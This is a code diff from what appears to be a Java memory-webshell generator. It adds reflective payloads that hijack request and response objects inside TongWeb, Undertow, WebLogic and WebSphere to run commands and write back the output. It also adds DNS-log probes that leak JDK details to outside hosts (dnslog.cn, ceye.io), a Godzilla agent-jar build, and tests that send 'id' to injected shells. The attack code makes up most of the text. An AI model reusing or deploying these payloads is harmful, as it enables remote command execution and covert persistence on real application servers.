+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/response/TongWebWriter.java

@@ -0,0 +1,123 @@
+package com.reajason.javaweb.probe.payload.response;
+
+import java.io.PrintWriter;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.List;
+import java.util.Set;
+
+public class TongWebWriter {
+
+    static {
+        new TongWebWriter();
+    }
+
+    public TongWebWriter() {
+        try {
+            Set<Thread> threads = Thread.getAllStackTraces().keySet();
+            for (Thread thread : threads) {
+                Object poller = getFieldValue(thread, "target");
+                if (poller == null) {
+                    continue;
+                }
+                String threadName = thread.getName();
+                if (threadName.contains("Poller")  // TongWeb6
+                        || threadName.contains("Acceptor") // TongWeb7
+                ) {
+                    try {
+                        Object requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "this$0"), "handler"), "global");
+                        List<?> processors = (List<?>) getFieldValue(requestGroupInfo, "processors");
+                        for (Object processor : processors) {
+                            Object coyoteRequest = getFieldValue(processor, "req");
+                            if (tryWriteRes(coyoteRequest)) {
+                                return;
+                            }
+                        }
+                    } catch (Exception x) {
+                        // TongWeb 8
+                        if (threadName.contains("Poller")) {
+                            Set<?> keys = (Set<?>) getFieldValue(getFieldValue(poller, "selector"), "keys");
+                            if (keys == null) {
+                                continue;
+                            }
+                            for (Object key : keys) {
+                                try {
+                                    Object coyoteRequest = getFieldValue(getFieldValue(getFieldValue(key, "attachment"), "currentProcessor"), "request");
+                                    if (tryWriteRes(coyoteRequest)) {
+                                        return;
+                                    }
+                                } catch (Exception ignored) {
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+        } catch (Throwable e) {
+            e.printStackTrace();
+        }
+    }
+
+    private boolean tryWriteRes(Object coyoteRequest) throws Exception {
+        Object request = invokeMethod(coyoteRequest, "getNote", new Class[]{Integer.TYPE}, new Object[]{1});
+        Object response = invokeMethod(request, "getResponse", null, null);
+        String data = getDataFromReq(request);
+        if (data != null && !data.isEmpty()) {
+            PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
+            try {
+                writer.write(run(data));
+            } catch (Throwable e) {
+                e.printStackTrace(writer);
+            }
+            writer.flush();
+            writer.close();
+            return true;
+        }
+        return false;
+    }
+
+    private String getDataFromReq(Object request) throws Exception {
+        return null;
+    }
+
+    private String run(String data) throws Exception {
+        return null;
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/response/UndertowWriter.java

@@ -0,0 +1,93 @@
+package com.reajason.javaweb.probe.payload.response;
+
+import java.io.PrintWriter;
+import java.lang.reflect.Array;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/8
+ */
+public class UndertowWriter {
+
+    static {
+        new UndertowWriter();
+    }
+
+    public UndertowWriter() {
+        try {
+            Thread thread = Thread.currentThread();
+            Object threadLocals = getFieldValue(thread, "threadLocals");
+            Object table = getFieldValue(threadLocals, "table");
+            for (int i = 0; i < Array.getLength(table); i++) {
+                Object entry = Array.get(table, i);
+                if (entry == null) {
+                    continue;
+                }
+                Object value = getFieldValue(entry, "value");
+                if (value != null && value.getClass().getName().contains("ServletRequestContext")) {
+                    Object request = getFieldValue(value, "servletRequest");
+                    Object response = getFieldValue(value, "servletResponse");
+                    String data = getDataFromReq(request);
+                    PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
+                    try {
+                        writer.write(run(data));
+                    } catch (Throwable e) {
+                        e.printStackTrace(writer);
+                    }
+                    writer.flush();
+                    writer.close();
+                    return;
+                }
+            }
+        } catch (Throwable e) {
+            e.printStackTrace();
+        }
+    }
+
+    private String getDataFromReq(Object request) throws Exception {
+        return null;
+    }
+
+    private String run(String data) throws Exception {
+        return null;
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebLogicWriter.java

@@ -0,0 +1,100 @@
+package com.reajason.javaweb.probe.payload.response;
+
+import java.io.PrintWriter;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/10
+ */
+public class WebLogicWriter {
+    static {
+        new WebLogicWriter();
+    }
+
+    public WebLogicWriter() {
+        try {
+            Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
+            Object request = null;
+            Object response = null;
+            try {
+                // weblogic.servlet.internal.HttpConnectionHandler
+                Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
+                // weblogic.servlet.internal.ServletRequestImpl
+                request = getFieldValue(connectionHandler, "request");
+                // weblogic.servlet.internal.ServletResponseImpl
+                response = getFieldValue(connectionHandler, "response");
+            } catch (Exception x) {
+                // WebLogic 10.3.6
+                // weblogic.servlet.internal.ServletRequestImpl
+                request = workEntry;
+                response = invokeMethod(workEntry, "getResponse", null, null);
+            }
+            if (request == null) {
+                return;
+            }
+            String data = getDataFromReq(request);
+            if (data != null && !data.isEmpty()) {
+                PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
+                try {
+                    writer.write(run(data));
+                } catch (Throwable e) {
+                    e.printStackTrace(writer);
+                }
+                writer.flush();
+                writer.close();
+                // 防止重复写响应，提前触发 send 操作
+                invokeMethod(response, "send", null, null);
+            }
+        } catch (Throwable e) {
+            e.printStackTrace();
+        }
+    }
+
+
+    private String getDataFromReq(Object request) throws Exception {
+        return null;
+    }
+
+    private String run(String data) throws Exception {
+        return null;
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebSphereWriter.java

@@ -0,0 +1,95 @@
+package com.reajason.javaweb.probe.payload.response;
+
+import java.io.PrintWriter;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
+/**
+ * WAS7 暂未适配
+ *
+ * @author ReaJason
+ * @since 2025/8/10
+ */
+public class WebSphereWriter {
+    static {
+        new WebSphereWriter();
+    }
+
+    public WebSphereWriter() {
+        try {
+            Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
+            for (Object wsThreadLocal : wsThreadLocals) {
+                if (wsThreadLocal == null) {
+                    continue;
+                }
+                // com.ibm.wsspi.webcontainer.WebContainerRequestState
+                if (wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {
+                    // com.ibm.ws.webcontainer.srt.SRTServletRequest
+                    Object request = getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest");
+                    // com.ibm.ws.webcontainer.srt.SRTServletResponse
+                    Object response = getFieldValue(wsThreadLocal, "currentThreadsIExtendedResponse");
+                    String data = getDataFromReq(request);
+                    if (data != null && !data.isEmpty()) {
+                        PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
+                        try {
+                            writer.write(run(data));
+                        } catch (Throwable e) {
+                            e.printStackTrace(writer);
+                        }
+                        writer.flush();
+                        writer.close();
+                        return;
+                    }
+                    break;
+                }
+            }
+        } catch (Throwable e) {
+            e.printStackTrace();
+        }
+    }
+
+    private String getDataFromReq(Object request) throws Exception {
+        return null;
+    }
+
+    private String run(String data) throws Exception {
+        return null;
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/sleep/SleepServer.java

@@ -0,0 +1,24 @@
+package com.reajason.javaweb.probe.payload.sleep;
+
+/**
+ * @author ReaJason
+ * @since 2025/7/31
+ */
+public class SleepServer {
+
+    private static String server;
+    private static int seconds;
+    
+    public SleepServer() {
+        try {
+            if (server.equals(getServer())) {
+                Thread.sleep(1000L * seconds);
+            }
+        } catch (Throwable ignored) {
+        }
+    }
+
+    private String getServer() {
+        return null;
+    }
+}

generator/src/test/java/com/reajason/javaweb/memshell/GeneratorMainTest.java

@@ -1,6 +1,8 @@
 package com.reajason.javaweb.memshell;
 
 import com.reajason.javaweb.memshell.config.*;
+import com.reajason.javaweb.packer.Packers;
+import com.reajason.javaweb.packer.jar.JarPacker;
 import lombok.SneakyThrows;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.Disabled;
@@ -8,7 +10,6 @@ import org.junit.jupiter.api.Test;
 
 import java.nio.file.Files;
 import java.nio.file.Paths;
-import java.nio.file.StandardOpenOption;
 
 /**
  * @author ReaJason
@@ -21,9 +22,9 @@ class GeneratorMainTest {
     @Disabled
     void test() {
         ShellConfig shellConfig = ShellConfig.builder()
-                .server(Server.Tomcat)
-                .shellTool(ShellTool.Command)
-                .shellType(ShellType.PROXY_VALVE)
+                .server(Server.SpringWebMvc)
+                .shellTool(ShellTool.Godzilla)
+                .shellType(ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET)
                 .targetJreVersion(Opcodes.V1_8)
                 .debug(true)
 //                .shrink(true)
@@ -49,11 +50,14 @@ class GeneratorMainTest {
 
         InjectorConfig injectorConfig = new InjectorConfig();
 
-        GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
+        MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
         if (generateResult != null) {
-            System.out.println(generateResult.getShellBytes().length);
-            Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
-            Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
+            Packers.GzipBase64.getInstance().pack(generateResult.toClassPackerConfig());
+
+            Files.write(Paths.get("agent.jar"), ((JarPacker) Packers.AgentJar.getInstance()).packBytes(generateResult.toJarPackerConfig()));
+//            System.out.println(generateResult.getShellBytes().length);
+//            Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
+//            Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
         }
     }
 }

generator/src/test/java/com/reajason/javaweb/memshell/packer/FreemarkerPackerTest.java

@@ -1,6 +1,6 @@
 package com.reajason.javaweb.memshell.packer;
 
-import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.MemShellResult;
 import com.reajason.javaweb.packer.freemarker.FreemarkerPacker;
 import org.junit.jupiter.api.Test;
 
@@ -15,7 +15,7 @@ class FreemarkerPackerTest {
 
     @Test
     void test() {
-        GenerateResult generateResult = GenerateResult.builder()
+        MemShellResult generateResult = MemShellResult.builder()
                 .injectorClassName("hehe")
                 .injectorBytesBase64Str("hehe").build();
         String content = new String(packer.pack(generateResult.toClassPackerConfig()));

generator/src/test/java/com/reajason/javaweb/memshell/packer/JspPackerTest.java

@@ -1,6 +1,6 @@
 package com.reajason.javaweb.memshell.packer;
 
-import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.MemShellResult;
 import com.reajason.javaweb.packer.jsp.JspPacker;
 import org.junit.jupiter.api.Test;
 
@@ -14,7 +14,7 @@ class JspPackerTest {
 
     @Test
     void pack() {
-        GenerateResult generateResult = GenerateResult.builder()
+        MemShellResult generateResult = MemShellResult.builder()
                 .injectorClassName("hehe")
                 .injectorBytesBase64Str("hehe").build();
         String jspContent = new JspPacker().pack(generateResult.toClassPackerConfig());

generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java

@@ -1,6 +1,6 @@
 package com.reajason.javaweb.memshell.packer;
 
-import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.MemShellResult;
 import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker;
 import org.junit.jupiter.api.Test;
 
@@ -14,7 +14,7 @@ class ScriptEnginePackerTest {
 
     @Test
     void pack() {
-        GenerateResult generateResult = GenerateResult.builder()
+        MemShellResult generateResult = MemShellResult.builder()
                 .injectorClassName("hehe")
                 .injectorBytesBase64Str("hehe").build();
         String jsContent = new ScriptEnginePacker().pack(generateResult.toClassPackerConfig());

generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java

@@ -1,11 +1,7 @@
 package com.reajason.javaweb.memshell.tomcat.command;
 
-import com.reajason.javaweb.memshell.MemShellGenerator;
-import com.reajason.javaweb.memshell.Server;
-import com.reajason.javaweb.memshell.ShellTool;
-import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.memshell.*;
 import com.reajason.javaweb.memshell.config.CommandConfig;
-import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.config.InjectorConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
@@ -72,7 +68,7 @@ class CommandFilterTest {
                 .build();
         InjectorConfig injectorConfig = new InjectorConfig();
 
-        GenerateResult generate = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
+        MemShellResult generate = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
 //        Files.write(Paths.get("hehe.class"), generate.getShellBytes());
         String pack = Packers.ScriptEngine.getInstance().pack(generate.toClassPackerConfig());
         System.out.println(pack);

generator/src/test/java/com/reajason/javaweb/probe/ProbeGeneratorTest.java

@@ -0,0 +1,32 @@
+package com.reajason.javaweb.probe;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.packer.Packers;
+import com.reajason.javaweb.probe.config.ProbeConfig;
+import com.reajason.javaweb.probe.config.ResponseBodyConfig;
+import lombok.SneakyThrows;
+import org.junit.jupiter.api.Test;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/5
+ */
+class ProbeGeneratorTest {
+
+    @Test
+    @SneakyThrows
+    void generate() {
+        ProbeConfig probeConfig = ProbeConfig.builder()
+                .probeMethod(ProbeMethod.ResponseBody)
+                .probeContent(ProbeContent.Bytecode)
+                .build();
+        ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
+                .server(Constants.Server.JETTY)
+                .reqParamName("payload")
+                .build();
+        ProbeResult probeResult = ProbeGenerator.generate(probeConfig, responseBodyConfig);
+        System.out.println(probeResult.getShellBytesBase64Str());
+//        Files.write(Paths.get("hello.class"), probeResult.getShellBytes());
+        System.out.println(Packers.ScriptEngine.getInstance().pack(probeResult.toClassPackerConfig()));
+    }
+}

generator/src/test/java/com/reajason/javaweb/probe/payload/Hello.java

@@ -0,0 +1,12 @@
+package com.reajason.javaweb.probe.payload;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/1
+ */
+public class Hello {
+    @Override
+    public String toString() {
+        return null;
+    }
+}

generator/src/test/java/com/reajason/javaweb/probe/payload/JdkDetectionTest.java

@@ -0,0 +1,30 @@
+package com.reajason.javaweb.probe.payload;
+
+import lombok.SneakyThrows;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.asm.Advice;
+import org.junit.jupiter.api.Disabled;
+import org.junit.jupiter.api.Test;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/1
+ */
+class JdkDetectionTest {
+
+    @Test
+    @Disabled
+    @SneakyThrows
+    void test() {
+        byte[] bytes = new ByteBuddy()
+                .redefine(Hello.class)
+                .visit(Advice.to(JdkProbe.class).on(named("toString")))
+                .make().getBytes();
+        Files.write(Paths.get("jdkDetection.class"), bytes);
+    }
+}

generator/src/test/java/com/reajason/javaweb/probe/payload/OsDetectionTest.java

@@ -0,0 +1,35 @@
+package com.reajason.javaweb.probe.payload;
+
+import lombok.SneakyThrows;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.asm.Advice;
+import org.junit.jupiter.api.Disabled;
+import org.junit.jupiter.api.Test;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2025/7/26
+ */
+class OsDetectionTest {
+
+    @Test
+    @Disabled
+    @SneakyThrows
+    void testBytes() {
+        byte[] bytes = new ByteBuddy()
+                .redefine(Hello.class)
+                .visit(Advice.to(OsProbe.class).on(named("toString")))
+                .make().getBytes();
+        Files.write(Paths.get("osDetection.class"), bytes);
+    }
+
+    @Test
+    void test() {
+        System.out.println(System.getProperty("os.name").toLowerCase());
+    }
+}

generator/src/test/java/com/reajason/javaweb/probe/payload/dns/ServerDnsLogTest.java

@@ -0,0 +1,30 @@
+package com.reajason.javaweb.probe.payload.dns;
+
+import com.reajason.javaweb.probe.payload.ServerProbe;
+import lombok.SneakyThrows;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.asm.Advice;
+import org.junit.jupiter.api.Disabled;
+import org.junit.jupiter.api.Test;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/1
+ */
+class ServerDnsLogTest {
+
+    @Test
+    @Disabled
+    @SneakyThrows
+    void test() {
+        Class<? extends DnsLogServer> loaded = new ByteBuddy()
+                .redefine(DnsLogServer.class)
+                .name("ServerDnsLogTest1")
+                .field(named("host")).value("ixdcn4.dnslog.cn")
+                .visit(Advice.to(ServerProbe.class).on(named("getServer")))
+                .make().load(getClass().getClassLoader()).getLoaded();
+        loaded.getDeclaredConstructor().newInstance();
+    }
+}

gradle/libs.versions.toml

@@ -13,7 +13,7 @@ jetbrains-annotations = "26.0.2"
 byte-buddy = "1.17.6"
 commons-io = "2.20.0"
 commons-lang3 = "3.18.0"
-commons-codec = "1.18.0"
+commons-codec = "1.19.0"
 logback = "1.5.18"
 okhttp3 = "5.1.0"
 fastjson2 = "2.0.57"
@@ -21,8 +21,8 @@ java-websocket = "1.6.0"
 
 mockito = "5.18.0"
 hamcrest = "3.0"
-junit-jupiter = "5.13.3"
-junit-platform = "1.13.3"
+junit-jupiter = "5.13.4"
+junit-platform = "1.13.4"
 testcontainers = "1.21.3"
 
 [libraries]

integration-test/build.gradle.kts

@@ -1,11 +1,18 @@
 plugins {
     id("java")
+    id("idea")
     alias(libs.plugins.lombok)
 }
 
 group = "io.github.reajason"
 version = rootProject.version
 
+idea {
+    module {
+        excludeDirs.add(file("src/main"))
+    }
+}
+
 dependencies {
     testImplementation(project(":memshell-party-common"))
     testImplementation(project(":tools:behinder"))

integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java

@@ -46,4 +46,25 @@ public class ContainerTool {
         log.info("container started, app url is : {}", url);
         return url;
     }
+
+    public static String getUrlFromSpringBoot(GenericContainer<?> container) {
+        int port = container.getMappedPort(8080);
+        String url = "http://127.0.0.1:" + port;
+        log.info("container started, app url is : {}", url);
+        return url;
+    }
+
+    public static String getUrlFromWebLogic(GenericContainer<?> container) {
+        int port = container.getMappedPort(7001);
+        String url = "http://127.0.0.1:" + port + "/app";
+        log.info("container started, app url is : {}", url);
+        return url;
+    }
+
+    public static String getUrlFromWAS(GenericContainer<?> container) {
+        int port = container.getMappedPort(9080);
+        String url = "http://127.0.0.1:" + port + "/app";
+        log.info("container started, app url is : {}", url);
+        return url;
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/ErrorHandler.java

@@ -0,0 +1,32 @@
+package com.reajason.javaweb.integration;
+
+import java.io.File;
+import java.net.InetAddress;
+
+/* loaded from: Hello.class */
+public class ErrorHandler {
+    public static String host = "peigko.ceye.io";
+
+    public ErrorHandler() {
+        String[] strArrSplit = getJdk().split("\\|");
+        for (String str : new String[]{"jdkType." + strArrSplit[0], "javaVersion." + strArrSplit[1], "classFileVersion." + strArrSplit[2]}) {
+            try {
+                System.out.println(str + "." + host);
+                InetAddress byName = InetAddress.getByName(str + "." + host);
+                System.out.println(byName);
+            } catch (Throwable e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    private String getJdk() {
+        String property = System.getProperty("java.home");
+        String str = File.separatorChar == '\\' ? "javac.exe" : "javac";
+        return ((new File(property, new StringBuilder().append("bin").append(File.separator).append(str).toString()).exists() || new File(new File(property).getParentFile(), new StringBuilder().append("bin").append(File.separator).append(str).toString()).exists()) ? "JDK" : "JRE") + "|" + System.getProperty("java.version") + "|" + String.valueOf(Double.valueOf(Double.parseDouble(System.getProperty("java.class.version"))).intValue());
+    }
+
+    public static void main(String[] args) {
+        new ErrorHandler();
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java

@@ -0,0 +1,82 @@
+package com.reajason.javaweb.integration;
+
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.probe.ProbeContent;
+import com.reajason.javaweb.probe.ProbeGenerator;
+import com.reajason.javaweb.probe.ProbeMethod;
+import com.reajason.javaweb.probe.ProbeResult;
+import com.reajason.javaweb.probe.config.ProbeConfig;
+import com.reajason.javaweb.probe.config.ResponseBodyConfig;
+import lombok.SneakyThrows;
+import okhttp3.*;
+
+import static org.hamcrest.CoreMatchers.anyOf;
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/8
+ */
+public class ProbeAssertion {
+
+    @SneakyThrows
+    public static void responseBytecodeIsOk(String url, String server, int targetJreVersion) {
+        ProbeConfig probeConfig = ProbeConfig.builder()
+                .probeMethod(ProbeMethod.ResponseBody)
+                .probeContent(ProbeContent.Bytecode)
+                .targetJreVersion(targetJreVersion)
+                .debug(true)
+                .shrink(true)
+                .build();
+        String reqParamName = "payload";
+        ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
+                .server(server)
+                .reqParamName(reqParamName)
+                .build();
+        ProbeResult probeResult = ProbeGenerator.generate(probeConfig, responseBodyConfig);
+        RequestBody requestBody = new FormBody.Builder()
+                .add("data", probeResult.getShellBytesBase64Str())
+                .add(reqParamName, DetectionTool.getServerDetection())
+                .build();
+        Request request = new Request.Builder()
+                .header("Content-Type", "application/x-www-form-urlencoded")
+                .url(url + "/b64").post(requestBody)
+                .build();
+        try (Response response = new OkHttpClient().newCall(request).execute()) {
+            assertEquals(server, response.body().string());
+        }
+    }
+
+    @SneakyThrows
+    public static void responseCommandIsOk(String url, String server, int targetJreVersion) {
+        ProbeConfig probeConfig = ProbeConfig.builder()
+                .probeMethod(ProbeMethod.ResponseBody)
+                .probeContent(ProbeContent.Command)
+                .debug(true)
+                .shrink(true)
+                .targetJreVersion(targetJreVersion)
+                .build();
+        String headerName = "X-Header";
+        ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
+                .server(server)
+                .reqHeaderName(headerName)
+                .build();
+        ProbeResult probeResult = ProbeGenerator.generate(probeConfig, responseBodyConfig);
+        String content = probeResult.getShellBytesBase64Str();
+        RequestBody requestBody = new FormBody.Builder()
+                .add("data", content)
+                .build();
+        Request request = new Request.Builder()
+                .header("Content-Type", "application/x-www-form-urlencoded")
+                .header(headerName, "id")
+                .url(url + "/b64").post(requestBody)
+                .build();
+        try (Response response = new OkHttpClient().newCall(request).execute()) {
+            assertThat(response.body().string(), anyOf(
+                    containsString("uid=")
+            ));
+        }
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java

@@ -4,10 +4,7 @@ import com.reajason.javaweb.antsword.AntSwordManager;
 import com.reajason.javaweb.behinder.BehinderManager;
 import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient;
 import com.reajason.javaweb.godzilla.GodzillaManager;
-import com.reajason.javaweb.memshell.MemShellGenerator;
-import com.reajason.javaweb.memshell.Server;
-import com.reajason.javaweb.memshell.ShellTool;
-import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.memshell.*;
 import com.reajason.javaweb.memshell.config.*;
 import com.reajason.javaweb.packer.Packers;
 import com.reajason.javaweb.packer.jar.AgentJarPacker;
@@ -47,15 +44,15 @@ import static org.junit.jupiter.api.Assertions.assertTrue;
  * @since 2024/12/5
  */
 @Slf4j
-public class ShellAssertionTool {
+public class ShellAssertion {
 
-    public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) {
-        testShellInjectAssertOk(url, server, shellType, shellTool, targetJdkVersion, packer, null);
+    public static void shellInjectIsOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) {
+        shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, null);
     }
 
     @SneakyThrows
-    public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> container) {
-        testShellInjectAssertOk(url, server, shellType, shellTool, targetJdkVersion, packer, container, null);
+    public static void shellInjectIsOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> container) {
+        shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, container, null);
     }
 
     @SneakyThrows
@@ -80,14 +77,14 @@ public class ShellAssertionTool {
     }
 
     @SneakyThrows
-    public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
